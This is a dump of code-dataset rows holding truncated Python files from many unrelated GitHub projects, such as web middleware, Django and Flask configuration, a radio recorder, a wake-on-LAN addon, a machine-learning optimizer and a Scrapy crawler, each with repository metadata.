] | null | null | null | jsonite/JavascriptMiddleware.py | ChrisByrd14/JSONite | db77b535524e424775bc8f65c3809b94229767ae | [
"MIT"
] | null | null | null | jsonite/JavascriptMiddleware.py | ChrisByrd14/JSONite | db77b535524e424775bc8f65c3809b94229767ae | [
"MIT"
] | null | null | null | """JavascriptMiddleware."""
import os
from jinja2 import Markup
from masonite.request import Request
from masonite.view import View
from .Javascript import Javascript
def get_javascript():
return Markup(Javascript.render())
class JavascriptMiddleware:
"""Middleware to pass rendered Javascript to the vie... | 24.810811 | 84 | 0.673203 |
import os
from jinja2 import Markup
from masonite.request import Request
from masonite.view import View
from .Javascript import Javascript
def get_javascript():
return Markup(Javascript.render())
class JavascriptMiddleware:
def __init__(self, request: Request, view: View):
self.request = reques... | true | true |
1c20efc185d3c6e0666c4268894d9c9ea652083d | 371 | py | Python | src/init.py | ankit-kushwaha-51/RESTful_API | 4513e8a058cb0200b41d47830b93b8a23ea38d7b | [
"MIT"
] | null | null | null | src/init.py | ankit-kushwaha-51/RESTful_API | 4513e8a058cb0200b41d47830b93b8a23ea38d7b | [
"MIT"
] | null | null | null | src/init.py | ankit-kushwaha-51/RESTful_API | 4513e8a058cb0200b41d47830b93b8a23ea38d7b | [
"MIT"
] | null | null | null | from flask import Flask
from src.models import db
from . import config
def create_app():
flask_app = Flask(__name__)
flask_app.config['SQLALCHEMY_DATABASE_URI'] = config.DATABASE_CONNECTION_URI
flask_app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
flask_app.app_context().push()
db.init_app(f... | 24.733333 | 80 | 0.752022 | from flask import Flask
from src.models import db
from . import config
def create_app():
flask_app = Flask(__name__)
flask_app.config['SQLALCHEMY_DATABASE_URI'] = config.DATABASE_CONNECTION_URI
flask_app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
flask_app.app_context().push()
db.init_app(f... | true | true |
1c20f00a9abe04d5a93a3682e0b62d522d9ce4cf | 2,456 | py | Python | scripts/run/docker/run.py | ShoshinNikita/tags-drive | 47963ca94d9aedd3b7dc9e2c799a66da107d7b1c | [
"Apache-2.0"
] | 1 | 2019-08-20T17:13:38.000Z | 2019-08-20T17:13:38.000Z | scripts/run/docker/run.py | ShoshinNikita/tags-drive | 47963ca94d9aedd3b7dc9e2c799a66da107d7b1c | [
"Apache-2.0"
] | 47 | 2018-08-21T16:33:58.000Z | 2018-10-16T08:03:40.000Z | scripts/run/docker/run.py | ShoshinNikita/tags-drive | 47963ca94d9aedd3b7dc9e2c799a66da107d7b1c | [
"Apache-2.0"
] | 1 | 2019-04-19T20:49:44.000Z | 2019-04-19T20:49:44.000Z | # -*- coding: utf-8 -*-
# This script builds backend and starts a Docker container
import os
import argparse
def runCommand(cmd: str, errMsg: str = ""):
'''Calls os.system(cmd). If it gets an exception, it calls exit(1)'''
try:
os.system(cmd)
except Exception as e:
print("[ERR] ", e)
... | 31.088608 | 104 | 0.569218 |
import os
import argparse
def runCommand(cmd: str, errMsg: str = ""):
try:
os.system(cmd)
except Exception as e:
print("[ERR] ", e)
exit(1)
parser = argparse.ArgumentParser(description="This script builds backend and starts a Docker container")
parser.add_argument("--image-name... | true | true |
1c20f1610f3711cbeb37f838effbb5d284e8bb8b | 1,648 | py | Python | settings.py | jsatt/kegbot | 9d721db250b1363e53b24ae1ffee619cd8a5d09a | [
"MIT"
] | null | null | null | settings.py | jsatt/kegbot | 9d721db250b1363e53b24ae1ffee619cd8a5d09a | [
"MIT"
] | null | null | null | settings.py | jsatt/kegbot | 9d721db250b1363e53b24ae1ffee619cd8a5d09a | [
"MIT"
] | null | null | null | import sys
from kegbot.settings import * # noqa
BOARD = {
'BACKEND': 'kegbot.boards.dev',
}
DEBUG = True
# Celery Settings
BROKER_URL = 'django://'
INSTALLED_APPS += (
'django.contrib.admin',
'django.contrib.sessions',
'django.contrib.messages',
'django_celery_results',
)
MIDDLEWARE_CLASSES =... | 24.235294 | 95 | 0.585558 | import sys
from kegbot.settings import *
BOARD = {
'BACKEND': 'kegbot.boards.dev',
}
DEBUG = True
BROKER_URL = 'django://'
INSTALLED_APPS += (
'django.contrib.admin',
'django.contrib.sessions',
'django.contrib.messages',
'django_celery_results',
)
MIDDLEWARE_CLASSES = [
'django.middlewa... | true | true |
1c20f37ecd0c0326ac986547b706598173153dd7 | 861 | py | Python | regtest/log.py | leah03/test-originrepo | fc022a3e2b20f1a4f2de8e4403695aec003671d0 | [
"Apache-2.0"
] | null | null | null | regtest/log.py | leah03/test-originrepo | fc022a3e2b20f1a4f2de8e4403695aec003671d0 | [
"Apache-2.0"
] | null | null | null | regtest/log.py | leah03/test-originrepo | fc022a3e2b20f1a4f2de8e4403695aec003671d0 | [
"Apache-2.0"
] | null | null | null | import logging
import os
loggers = {}
def getLogger(name):
if name in loggers:
return loggers[name]
logger = logging.getLogger(name)
logger.setLevel(logging.DEBUG)
# create file handler which logs even debug messages
log_file = "%s.log" % name
try:
os.remove(log_file)
excep... | 23.27027 | 89 | 0.666667 | import logging
import os
loggers = {}
def getLogger(name):
if name in loggers:
return loggers[name]
logger = logging.getLogger(name)
logger.setLevel(logging.DEBUG)
log_file = "%s.log" % name
try:
os.remove(log_file)
except:
pass
fh = logging.FileHandler(log_fi... | true | true |
1c20f458f792789950d85c330d545298a9340224 | 446 | py | Python | cani/cani.py | nonopus/Vault6 | fd0b6ea41690d780b07df40c3762f8d7c6a053aa | [
"BSD-3-Clause-No-Nuclear-License"
] | null | null | null | cani/cani.py | nonopus/Vault6 | fd0b6ea41690d780b07df40c3762f8d7c6a053aa | [
"BSD-3-Clause-No-Nuclear-License"
] | null | null | null | cani/cani.py | nonopus/Vault6 | fd0b6ea41690d780b07df40c3762f8d7c6a053aa | [
"BSD-3-Clause-No-Nuclear-License"
] | null | null | null | # Licence : AIC, can only be used by level 3 personnel.
import os
hostname = "yahoo.co.uk" #easy hackable example
response = os.system("ping -c 1 " + hostname)
#and then check the response...
if response == 0:
print hostname, 'yahoo is up enit! this means we can internet.'
else:
print hostname, 'Did you check the... | 40.545455 | 161 | 0.724215 |
import os
hostname = "yahoo.co.uk"
response = os.system("ping -c 1 " + hostname)
if response == 0:
print hostname, 'yahoo is up enit! this means we can internet.'
else:
print hostname, 'Did you check the board? I bet if you did you would see another level 3 is using yahoo allready, wait 20 minutes, then check t... | false | true |
1c20f460d547883f5172c4ef6e411cc49a75898b | 271 | py | Python | asciinema/confirmator.py | alex/asciinema | ff23896174c07719d3b2ace6320a193934a0ac71 | [
"MIT"
] | 1 | 2015-11-08T13:00:51.000Z | 2015-11-08T13:00:51.000Z | asciinema/confirmator.py | alex/asciinema | ff23896174c07719d3b2ace6320a193934a0ac71 | [
"MIT"
] | null | null | null | asciinema/confirmator.py | alex/asciinema | ff23896174c07719d3b2ace6320a193934a0ac71 | [
"MIT"
] | null | null | null | from __future__ import print_function
import sys
class Confirmator(object):
def confirm(self, text):
print(text, end='')
sys.stdout.flush()
answer = sys.stdin.readline().strip()
return answer == 'y' or answer == 'Y' or answer == ''
| 22.583333 | 61 | 0.612546 | from __future__ import print_function
import sys
class Confirmator(object):
def confirm(self, text):
print(text, end='')
sys.stdout.flush()
answer = sys.stdin.readline().strip()
return answer == 'y' or answer == 'Y' or answer == ''
| true | true |
1c20f653677c6558395a38b5acc41eb05757a046 | 7,249 | py | Python | cartographer/mbtiles.py | thomasleese/cartographer | 5b1530f229b5ccdbabde2d704d3ecf2877553992 | [
"MIT"
] | 2 | 2016-06-02T13:48:32.000Z | 2016-07-03T10:05:03.000Z | cartographer/mbtiles.py | thomasleese/cartographer | 5b1530f229b5ccdbabde2d704d3ecf2877553992 | [
"MIT"
] | 1 | 2016-01-29T10:17:10.000Z | 2016-01-29T10:17:10.000Z | cartographer/mbtiles.py | thomasleese/cartographer | 5b1530f229b5ccdbabde2d704d3ecf2877553992 | [
"MIT"
] | null | null | null | import os
import sqlite3
from .boundaries import Boundary
class TilesetMetadata:
KNOWN_KEYS = ['name', 'type', 'version', 'description', 'format',
'bounds', 'attribution']
def __init__(self, db):
self.db = db
def __setitem__(self, name, value):
cursor = self.db.cursor... | 26.264493 | 79 | 0.540488 | import os
import sqlite3
from .boundaries import Boundary
class TilesetMetadata:
KNOWN_KEYS = ['name', 'type', 'version', 'description', 'format',
'bounds', 'attribution']
def __init__(self, db):
self.db = db
def __setitem__(self, name, value):
cursor = self.db.cursor... | true | true |
1c20f6bcaf9b22c111c5a9becb9df9439878e5b9 | 5,799 | py | Python | scripts/evaluate.py | dksifoua/NMT | a651d5f957868ab4879d028060fdbec3e09263cb | [
"MIT"
] | 2 | 2020-09-25T11:18:59.000Z | 2021-04-09T22:08:13.000Z | scripts/evaluate.py | dksifoua/NMT | a651d5f957868ab4879d028060fdbec3e09263cb | [
"MIT"
] | null | null | null | scripts/evaluate.py | dksifoua/NMT | a651d5f957868ab4879d028060fdbec3e09263cb | [
"MIT"
] | null | null | null | import os
import argparse
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.ticker as ticker
import torch
from nmt.config.global_config import GlobalConfig
from nmt.config.train_config import TrainConfig
from nmt.config.dataset_config import DatasetConfig
from nmt.processing.processing import load_da... | 56.852941 | 117 | 0.661666 | import os
import argparse
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.ticker as ticker
import torch
from nmt.config.global_config import GlobalConfig
from nmt.config.train_config import TrainConfig
from nmt.config.dataset_config import DatasetConfig
from nmt.processing.processing import load_da... | true | true |
1c20f6dae58609df3b161666fc368bea9c787546 | 660 | py | Python | logger/env_log_level/util/logger.py | VeryCrazyDog/python-templates | 808ac9929bcae4d9f128924df7211bbd10936671 | [
"MIT"
] | null | null | null | logger/env_log_level/util/logger.py | VeryCrazyDog/python-templates | 808ac9929bcae4d9f128924df7211bbd10936671 | [
"MIT"
] | null | null | null | logger/env_log_level/util/logger.py | VeryCrazyDog/python-templates | 808ac9929bcae4d9f128924df7211bbd10936671 | [
"MIT"
] | null | null | null | # Import build-in packages
import logging
import os
# Module configuration
DEFAULT_LOG_LEVEL = logging.INFO
# Constant
ENV_NAME_LOG_LEVEL = 'LOG_LEVEL'
# Internal module variable
__log_level = {
'DEBUG': logging.DEBUG,
'INFO': logging.INFO,
'WARN': logging.WARN,
'WARNING': logging.WARN,
'ERROR': ... | 22 | 67 | 0.710606 |
import logging
import os
DEFAULT_LOG_LEVEL = logging.INFO
ENV_NAME_LOG_LEVEL = 'LOG_LEVEL'
__log_level = {
'DEBUG': logging.DEBUG,
'INFO': logging.INFO,
'WARN': logging.WARN,
'WARNING': logging.WARN,
'ERROR': logging.ERROR,
'FATAL': logging.CRITICAL,
'CRITICAL': logging.CRITICAL
}.get... | true | true |
1c20f76295b7627843ebd50dd6390ed66f9f7919 | 65,564 | py | Python | python/tools/thor.py | luwangg/digital_rf | e5bc28606af2d5071c1fd1561595f816ff335085 | [
"BSD-3-Clause"
] | null | null | null | python/tools/thor.py | luwangg/digital_rf | e5bc28606af2d5071c1fd1561595f816ff335085 | [
"BSD-3-Clause"
] | null | null | null | python/tools/thor.py | luwangg/digital_rf | e5bc28606af2d5071c1fd1561595f816ff335085 | [
"BSD-3-Clause"
] | 1 | 2020-08-03T07:49:22.000Z | 2020-08-03T07:49:22.000Z | #!python
# ----------------------------------------------------------------------------
# Copyright (c) 2017 Massachusetts Institute of Technology (MIT)
# All rights reserved.
#
# Distributed under the terms of the BSD 3-clause license.
#
# The full license is in the LICENSE file, distributed with this software.
# ----... | 39.663642 | 79 | 0.548578 |
from __future__ import absolute_import, division, print_function
import argparse
import math
import os
import re
import sys
import time
from ast import literal_eval
from datetime import datetime, timedelta
from fractions import Fraction
from itertools import chain, cycle, islice, repeat
from subprocess import... | true | true |
1c20f8288b79bc4f7c82e641db2b35d4bdf7b290 | 4,615 | py | Python | packages/python/yap_kernel/yap_ipython/sphinxext/custom_doctests.py | ryandesign/yap | 9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214 | [
"Artistic-1.0-Perl",
"ClArtistic"
] | 90 | 2015-03-09T01:24:15.000Z | 2022-02-24T13:56:25.000Z | packages/python/yap_kernel/yap_ipython/sphinxext/custom_doctests.py | ryandesign/yap | 9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214 | [
"Artistic-1.0-Perl",
"ClArtistic"
] | 52 | 2016-02-14T08:59:37.000Z | 2022-03-14T16:39:35.000Z | packages/python/yap_kernel/yap_ipython/sphinxext/custom_doctests.py | ryandesign/yap | 9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214 | [
"Artistic-1.0-Perl",
"ClArtistic"
] | 27 | 2015-11-19T02:45:49.000Z | 2021-11-25T19:47:58.000Z | """
Handlers for IPythonDirective's @doctest pseudo-decorator.
The Sphinx extension that provides support for embedded yap_ipython code provides
a pseudo-decorator @doctest, which treats the input/output block as a
doctest, raising a RuntimeError during doc generation if the actual output
(after running the input) doe... | 29.583333 | 81 | 0.621668 |
def str_to_array(s):
import numpy as np
from numpy import inf, nan
if s.startswith(u'array'):
s = s[6:-1]
if s.startswith(u'['):
a = np.array(eval(s), dtype=float)
else:
a = np.atleast_1d(float(s))
return a
def float_doctest(sphinx_shell, ... | true | true |
1c20f8bb057711c9490be502a35ad67e56e27f23 | 8,074 | py | Python | config/settings/production.py | idannik/sudokuTeacher | c54b6031f29fb8998602ed38622a91302f2af57a | [
"MIT"
] | null | null | null | config/settings/production.py | idannik/sudokuTeacher | c54b6031f29fb8998602ed38622a91302f2af57a | [
"MIT"
] | null | null | null | config/settings/production.py | idannik/sudokuTeacher | c54b6031f29fb8998602ed38622a91302f2af57a | [
"MIT"
] | null | null | null | from .base import * # noqa
from .base import env
# GENERAL
# ------------------------------------------------------------------------------
# https://docs.djangoproject.com/en/dev/ref/settings/#secret-key
SECRET_KEY = env("DJANGO_SECRET_KEY")
# https://docs.djangoproject.com/en/dev/ref/settings/#allowed-hosts
ALLOWED... | 42.946809 | 87 | 0.619891 | from .base import *
from .base import env
= env("DJANGO_SECRET_KEY")
= env.list("DJANGO_ALLOWED_HOSTS", default=["example.com"])
DATABASES["default"] = env.db("DATABASE_URL")
DATABASES["default"]["ATOMIC_REQUESTS"] = True
DATABASES["default"]["CONN_MAX_AGE"] = env.int("CONN_MAX_AGE", default=60)
CACH... | true | true |
1c20f9fae659a4b67ae177c6f5ef325d9040b6d5 | 3,517 | py | Python | app/backend/get_json.py | JFDonovan/Kive | 79393f405d9edc528a223df121163ab89c44fea1 | [
"MIT"
] | null | null | null | app/backend/get_json.py | JFDonovan/Kive | 79393f405d9edc528a223df121163ab89c44fea1 | [
"MIT"
] | null | null | null | app/backend/get_json.py | JFDonovan/Kive | 79393f405d9edc528a223df121163ab89c44fea1 | [
"MIT"
] | 1 | 2020-09-24T04:33:05.000Z | 2020-09-24T04:33:05.000Z | from datetime import datetime
from parse_sb import parse_rdf
from parse_wsb import create_wsb_json, build_json_no_tree
from parse_nonlegacy import find_files
import os
import time
import ast
import uuid
import json
'''
This file contains code for walking through directories/parsing through legacy workspaces
to retrie... | 33.817308 | 138 | 0.590276 | from datetime import datetime
from parse_sb import parse_rdf
from parse_wsb import create_wsb_json, build_json_no_tree
from parse_nonlegacy import find_files
import os
import time
import ast
import uuid
import json
class NoDataException(Exception):
def __init__(self, *args):
if args:
self.me... | true | true |
1c20fa241c290bcff261071cfb77cb73ead5f73d | 1,453 | py | Python | main.py | daniel0076/Cinderella | 17925ae56dcd142bf24e490df0bb88a0ef325737 | [
"Apache-2.0"
] | 12 | 2021-08-29T15:53:08.000Z | 2022-02-10T08:29:53.000Z | main.py | daniel0076/Cinderella | 17925ae56dcd142bf24e490df0bb88a0ef325737 | [
"Apache-2.0"
] | 1 | 2021-08-30T05:47:23.000Z | 2021-08-30T05:47:23.000Z | main.py | daniel0076/Cinderella | 17925ae56dcd142bf24e490df0bb88a0ef325737 | [
"Apache-2.0"
] | 1 | 2021-08-30T05:19:08.000Z | 2021-08-30T05:19:08.000Z | import argparse
import os
import logging
from pathlib import Path
from cinderella.cinderella import Cinderella
LOGGER = logging.getLogger(__name__)
PROJECT_ROOT = os.path.dirname(__file__)
CURRENT_DIR = os.getcwd()
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Cinderella - e... | 27.415094 | 84 | 0.667584 | import argparse
import os
import logging
from pathlib import Path
from cinderella.cinderella import Cinderella
LOGGER = logging.getLogger(__name__)
PROJECT_ROOT = os.path.dirname(__file__)
CURRENT_DIR = os.getcwd()
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Cinderella - e... | true | true |
1c20fac101e597425fffb255711698dd471ad4e4 | 1,945 | py | Python | core/models.py | ohad182/GitReport | 8ceb305dd0eb2999e4c5b25d2430efc1fd26e84c | [
"MIT"
] | null | null | null | core/models.py | ohad182/GitReport | 8ceb305dd0eb2999e4c5b25d2430efc1fd26e84c | [
"MIT"
] | null | null | null | core/models.py | ohad182/GitReport | 8ceb305dd0eb2999e4c5b25d2430efc1fd26e84c | [
"MIT"
] | null | null | null | import datetime as dt
import common.constants as constants
from git import Commit
class CommitInfo(object):
"""
A model class to describe commit info (relevant to the report)
"""
def __init__(self, **kwargs):
msg = kwargs.get("commit_message", "")
self.message_lines = list(
... | 34.122807 | 103 | 0.620051 | import datetime as dt
import common.constants as constants
from git import Commit
class CommitInfo(object):
def __init__(self, **kwargs):
msg = kwargs.get("commit_message", "")
self.message_lines = list(
filter(lambda m: m != '' and not m.startswith(constants.IGNORE_MESSAGE), msg.spli... | true | true |
1c20fb2362915e33db49e23b63378ef8a5fc231d | 3,202 | py | Python | tests/stream/test_stream_streamprocess.py | nickersk/streamlink-27 | 95c47866a741d32f6c4ca153b6eff908abadfbe4 | [
"BSD-2-Clause"
] | 5 | 2020-12-26T18:57:59.000Z | 2022-03-09T15:10:39.000Z | tests/stream/test_stream_streamprocess.py | nickersk/streamlink-27 | 95c47866a741d32f6c4ca153b6eff908abadfbe4 | [
"BSD-2-Clause"
] | 2 | 2021-06-09T14:13:58.000Z | 2021-09-27T19:14:46.000Z | tests/stream/test_stream_streamprocess.py | nickersk/streamlink-27 | 95c47866a741d32f6c4ca153b6eff908abadfbe4 | [
"BSD-2-Clause"
] | 6 | 2021-02-12T10:24:25.000Z | 2022-01-01T13:08:49.000Z | import unittest
import pytest
from streamlink import StreamError
from streamlink import Streamlink
from streamlink.stream.streamprocess import StreamProcess
from tests.mock import PropertyMock, patch
@pytest.mark.parametrize("parameters,arguments,expected", [
(dict(h=True), None, ["test", "-h"]),
(dict(foo=... | 45.098592 | 115 | 0.637102 | import unittest
import pytest
from streamlink import StreamError
from streamlink import Streamlink
from streamlink.stream.streamprocess import StreamProcess
from tests.mock import PropertyMock, patch
@pytest.mark.parametrize("parameters,arguments,expected", [
(dict(h=True), None, ["test", "-h"]),
(dict(foo=... | true | true |
1c20fb7673afc60b0cb3347690779a596e274350 | 308 | py | Python | demo/kspsolve/petsc-ksp.py | underworldcode/petsc4py | fdfdd79be39b8cbe95cf57010f29a6cb2ef463a6 | [
"BSD-2-Clause"
] | 1 | 2018-11-11T05:00:53.000Z | 2018-11-11T05:00:53.000Z | demo/kspsolve/petsc-ksp.py | underworldcode/petsc4py | fdfdd79be39b8cbe95cf57010f29a6cb2ef463a6 | [
"BSD-2-Clause"
] | null | null | null | demo/kspsolve/petsc-ksp.py | underworldcode/petsc4py | fdfdd79be39b8cbe95cf57010f29a6cb2ef463a6 | [
"BSD-2-Clause"
] | null | null | null | # create linear solver
ksp = PETSc.KSP()
ksp.create(PETSc.COMM_WORLD)
# use conjugate gradients
ksp.setType('cg')
# and incomplete Cholesky
ksp.getPC().setType('icc')
# obtain sol & rhs vectors
x, b = A.createVecs()
x.set(0)
b.set(1)
# and next solve
ksp.setOperators(A)
ksp.setFromOptions()
ksp.solve(b, x)
| 19.25 | 28 | 0.720779 |
ksp = PETSc.KSP()
ksp.create(PETSc.COMM_WORLD)
ksp.setType('cg')
ksp.getPC().setType('icc')
x, b = A.createVecs()
x.set(0)
b.set(1)
ksp.setOperators(A)
ksp.setFromOptions()
ksp.solve(b, x)
| true | true |
1c20fbd725278460abb243e3a3f9e570f5a670a4 | 717 | py | Python | src/azure-cli/azure/cli/command_modules/policyinsights/_exception_handler.py | GalGrinblat/azure-cli | b30b9cf9f90d01b9b6708cc56b82e32cd7182dae | [
"MIT"
] | 1 | 2021-09-07T18:53:37.000Z | 2021-09-07T18:53:37.000Z | src/azure-cli/azure/cli/command_modules/policyinsights/_exception_handler.py | GalGrinblat/azure-cli | b30b9cf9f90d01b9b6708cc56b82e32cd7182dae | [
"MIT"
] | 2 | 2020-05-04T22:45:39.000Z | 2021-12-02T22:45:10.000Z | src/azure-cli/azure/cli/command_modules/policyinsights/_exception_handler.py | GalGrinblat/azure-cli | b30b9cf9f90d01b9b6708cc56b82e32cd7182dae | [
"MIT"
] | 2 | 2021-07-07T12:43:11.000Z | 2021-07-09T19:30:53.000Z | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... | 37.736842 | 94 | 0.539749 |
from azure.cli.core.util import CLIError
def policy_insights_exception_handler(ex):
from azure.mgmt.policyinsights.models import QueryFailure
if isinstance(ex, QueryFailure):
message = '({}) {}'.format(ex.error.error.code, ex.error.error.message)
raise CLIError(message)
import sys
... | true | true |
1c20fbdcf34931425a65c1bab179927de8e90e08 | 548 | py | Python | vortex/test/VortexTest.py | Synerty/vortexpy | fcf4c4dccbdf300b04bb962276230a48434cba17 | [
"MIT"
] | 1 | 2018-01-04T10:55:49.000Z | 2018-01-04T10:55:49.000Z | vortex/test/VortexTest.py | Synerty/vortexpy | fcf4c4dccbdf300b04bb962276230a48434cba17 | [
"MIT"
] | null | null | null | vortex/test/VortexTest.py | Synerty/vortexpy | fcf4c4dccbdf300b04bb962276230a48434cba17 | [
"MIT"
] | null | null | null | """
* Created by Synerty Pty Ltd
*
* This software is open source, the MIT license applies.
*
* Website : http://www.synerty.com
* Support : support@synerty.com
"""
from twisted.trial import unittest
from run_test_vortex_server import setupVortexServer
from vortex.VortexClientHttp import VortexClientHttp
clas... | 23.826087 | 57 | 0.722628 |
from twisted.trial import unittest
from run_test_vortex_server import setupVortexServer
from vortex.VortexClientHttp import VortexClientHttp
class VortexTest(unittest.TestCase):
def setUp(self):
self.port = setupVortexServer()
def testVortexConnect(self):
client = VortexClientHttp("unittest... | true | true |
1c20fcb896f84ecdc4217089e824ea10dc773cc4 | 193 | py | Python | modules/2.79/bpy/types/ThemeFontStyle.py | cmbasnett/fake-bpy-module | acb8b0f102751a9563e5b5e5c7cd69a4e8aa2a55 | [
"MIT"
] | null | null | null | modules/2.79/bpy/types/ThemeFontStyle.py | cmbasnett/fake-bpy-module | acb8b0f102751a9563e5b5e5c7cd69a4e8aa2a55 | [
"MIT"
] | null | null | null | modules/2.79/bpy/types/ThemeFontStyle.py | cmbasnett/fake-bpy-module | acb8b0f102751a9563e5b5e5c7cd69a4e8aa2a55 | [
"MIT"
] | null | null | null | class ThemeFontStyle:
font_kerning_style = None
points = None
shadow = None
shadow_alpha = None
shadow_offset_x = None
shadow_offset_y = None
shadow_value = None
| 16.083333 | 29 | 0.678756 | class ThemeFontStyle:
font_kerning_style = None
points = None
shadow = None
shadow_alpha = None
shadow_offset_x = None
shadow_offset_y = None
shadow_value = None
| true | true |
1c20fd91de02cebdef2dc1b6fcb0145f4ba4ec5e | 888 | py | Python | extensions/interpreter.py | l29ah/vk4xmpp | 596e35a3c13d1ee102e8dc0707427947843306d2 | [
"MIT"
] | 77 | 2015-01-07T06:22:46.000Z | 2022-01-17T11:15:02.000Z | extensions/interpreter.py | l29ah/vk4xmpp | 596e35a3c13d1ee102e8dc0707427947843306d2 | [
"MIT"
] | 157 | 2015-01-16T07:25:42.000Z | 2021-11-24T05:59:10.000Z | extensions/interpreter.py | l29ah/vk4xmpp | 596e35a3c13d1ee102e8dc0707427947843306d2 | [
"MIT"
] | 31 | 2015-01-16T15:16:36.000Z | 2021-01-25T20:13:54.000Z | # coding: utf-8
# This file is a part of VK4XMPP transport
# © simpleApps, 2015.
def interpreter_msg02(msg):
body = msg.getBody()
destination = msg.getTo().getStripped()
source = msg.getFrom().getStripped()
if body:
if destination == TransportID:
raw = body.split(None, 1)
if len(raw) > 1:
text, args =... | 26.117647 | 59 | 0.63964 |
def interpreter_msg02(msg):
body = msg.getBody()
destination = msg.getTo().getStripped()
source = msg.getFrom().getStripped()
if body:
if destination == TransportID:
raw = body.split(None, 1)
if len(raw) > 1:
text, args = raw
args = args.strip()
if source in Users:
user = Users[source]... | true | true |
1c20fe5787c4e07db2bcf3b6f504d79a6444951d | 7,465 | py | Python | .kodi/addons/script.advanced.wol/default.py | C6SUMMER/allinclusive-kodi-pi | 8baf247c79526849c640c6e56ca57a708a65bd11 | [
"Apache-2.0"
] | null | null | null | .kodi/addons/script.advanced.wol/default.py | C6SUMMER/allinclusive-kodi-pi | 8baf247c79526849c640c6e56ca57a708a65bd11 | [
"Apache-2.0"
] | null | null | null | .kodi/addons/script.advanced.wol/default.py | C6SUMMER/allinclusive-kodi-pi | 8baf247c79526849c640c6e56ca57a708a65bd11 | [
"Apache-2.0"
] | 2 | 2018-04-17T17:34:39.000Z | 2020-07-26T03:43:33.000Z | # Wake-On-LAN
import socket, ping, os, sys, time
import xbmc, xbmcgui, xbmcaddon
def main(isAutostart=False):
print 'script.advanced.wol: Starting WOL script'
####### Read Settings
settings = xbmcaddon.Addon( id="script.advanced.wol" )
language = settings.getLocalizedString
# basic settings
macAddress = se... | 42.414773 | 222 | 0.710918 |
import socket, ping, os, sys, time
import xbmc, xbmcgui, xbmcaddon
def main(isAutostart=False):
print 'script.advanced.wol: Starting WOL script'
ddress = settings.getSetting("macAddress")
hostOrIp = settings.getSetting("hostOrIp")
enableLaunchNotifies = settings.getSetting("enableLaunchNotifies")
enableP... | false | true |
1c20fe74dd45540a584d962a86659a418cdae952 | 1,093 | py | Python | tests/test_agn_sample_creator.py | avivajpeyi/agn_phenomenological_model | 94d2e39f43cb11986d0abcb33769ee1aa501ca85 | [
"MIT"
] | null | null | null | tests/test_agn_sample_creator.py | avivajpeyi/agn_phenomenological_model | 94d2e39f43cb11986d0abcb33769ee1aa501ca85 | [
"MIT"
] | null | null | null | tests/test_agn_sample_creator.py | avivajpeyi/agn_phenomenological_model | 94d2e39f43cb11986d0abcb33769ee1aa501ca85 | [
"MIT"
] | 1 | 2021-08-22T07:05:15.000Z | 2021-08-22T07:05:15.000Z | import os
import shutil
import unittest
import warnings
warnings.filterwarnings("ignore")
from agn_utils.create_agn_samples import (
load_training_data,
save_agn_samples_for_many_populations,
)
from agn_utils.plotting.overlaid_corner_plotter import overlaid_corner
class AGNsampleCreatorTest(unittest.TestCase... | 31.228571 | 148 | 0.702653 | import os
import shutil
import unittest
import warnings
warnings.filterwarnings("ignore")
from agn_utils.create_agn_samples import (
load_training_data,
save_agn_samples_for_many_populations,
)
from agn_utils.plotting.overlaid_corner_plotter import overlaid_corner
class AGNsampleCreatorTest(unittest.TestCase... | true | true |
1c20fecd970011501e0a758d777df121425e0835 | 8,023 | py | Python | utility/adabelief.py | xlnwel/grl | 7d42bb2e78bc3e7b7c3ebbcf356a4d1cf12abebf | [
"Apache-2.0"
] | 5 | 2021-09-04T14:50:39.000Z | 2022-03-13T09:53:09.000Z | utility/adabelief.py | xlnwel/d2rl | 7d42bb2e78bc3e7b7c3ebbcf356a4d1cf12abebf | [
"Apache-2.0"
] | null | null | null | utility/adabelief.py | xlnwel/d2rl | 7d42bb2e78bc3e7b7c3ebbcf356a4d1cf12abebf | [
"Apache-2.0"
] | 2 | 2022-01-25T09:32:01.000Z | 2022-03-13T09:53:14.000Z | import tensorflow as tf
""" Modified from Adabelief """
class Adam(tf.keras.optimizers.Optimizer):
def __init__(
self,
learning_rate=0.001,
beta_1=0.9,
beta_2=0.999,
epsilon=1e-7,
weight_decay=0.0,
rectify=False,
amsgrad=False,
total_steps=0,... | 41.569948 | 88 | 0.585442 | import tensorflow as tf
class Adam(tf.keras.optimizers.Optimizer):
def __init__(
self,
learning_rate=0.001,
beta_1=0.9,
beta_2=0.999,
epsilon=1e-7,
weight_decay=0.0,
rectify=False,
amsgrad=False,
total_steps=0,
warmup_proportion=0.1,
... | true | true |
1c20fefe5a92a7c844cbd586eac9df824824efe5 | 4,193 | py | Python | crawler.py | tsundokum/nkvd_members | 477f97eaa04c72af7a80c45d359387fa8a5fb757 | [
"MIT"
] | null | null | null | crawler.py | tsundokum/nkvd_members | 477f97eaa04c72af7a80c45d359387fa8a5fb757 | [
"MIT"
] | null | null | null | crawler.py | tsundokum/nkvd_members | 477f97eaa04c72af7a80c45d359387fa8a5fb757 | [
"MIT"
] | null | null | null | import scrapy
import requests
from w3lib.http import basic_auth_header
NKVD_MEMO_ENTRY = 'https://nkvd.memo.ru/index.php/%D0%9D%D0%9A%D0%92%D0%94:%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0'
ROOT = 'https://nkvd.memo.ru'
class RotatingProxyMiddleware(object):
def ... | 46.076923 | 167 | 0.606487 | import scrapy
import requests
from w3lib.http import basic_auth_header
NKVD_MEMO_ENTRY = 'https://nkvd.memo.ru/index.php/%D0%9D%D0%9A%D0%92%D0%94:%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0'
ROOT = 'https://nkvd.memo.ru'
class RotatingProxyMiddleware(object):
def ... | true | true |
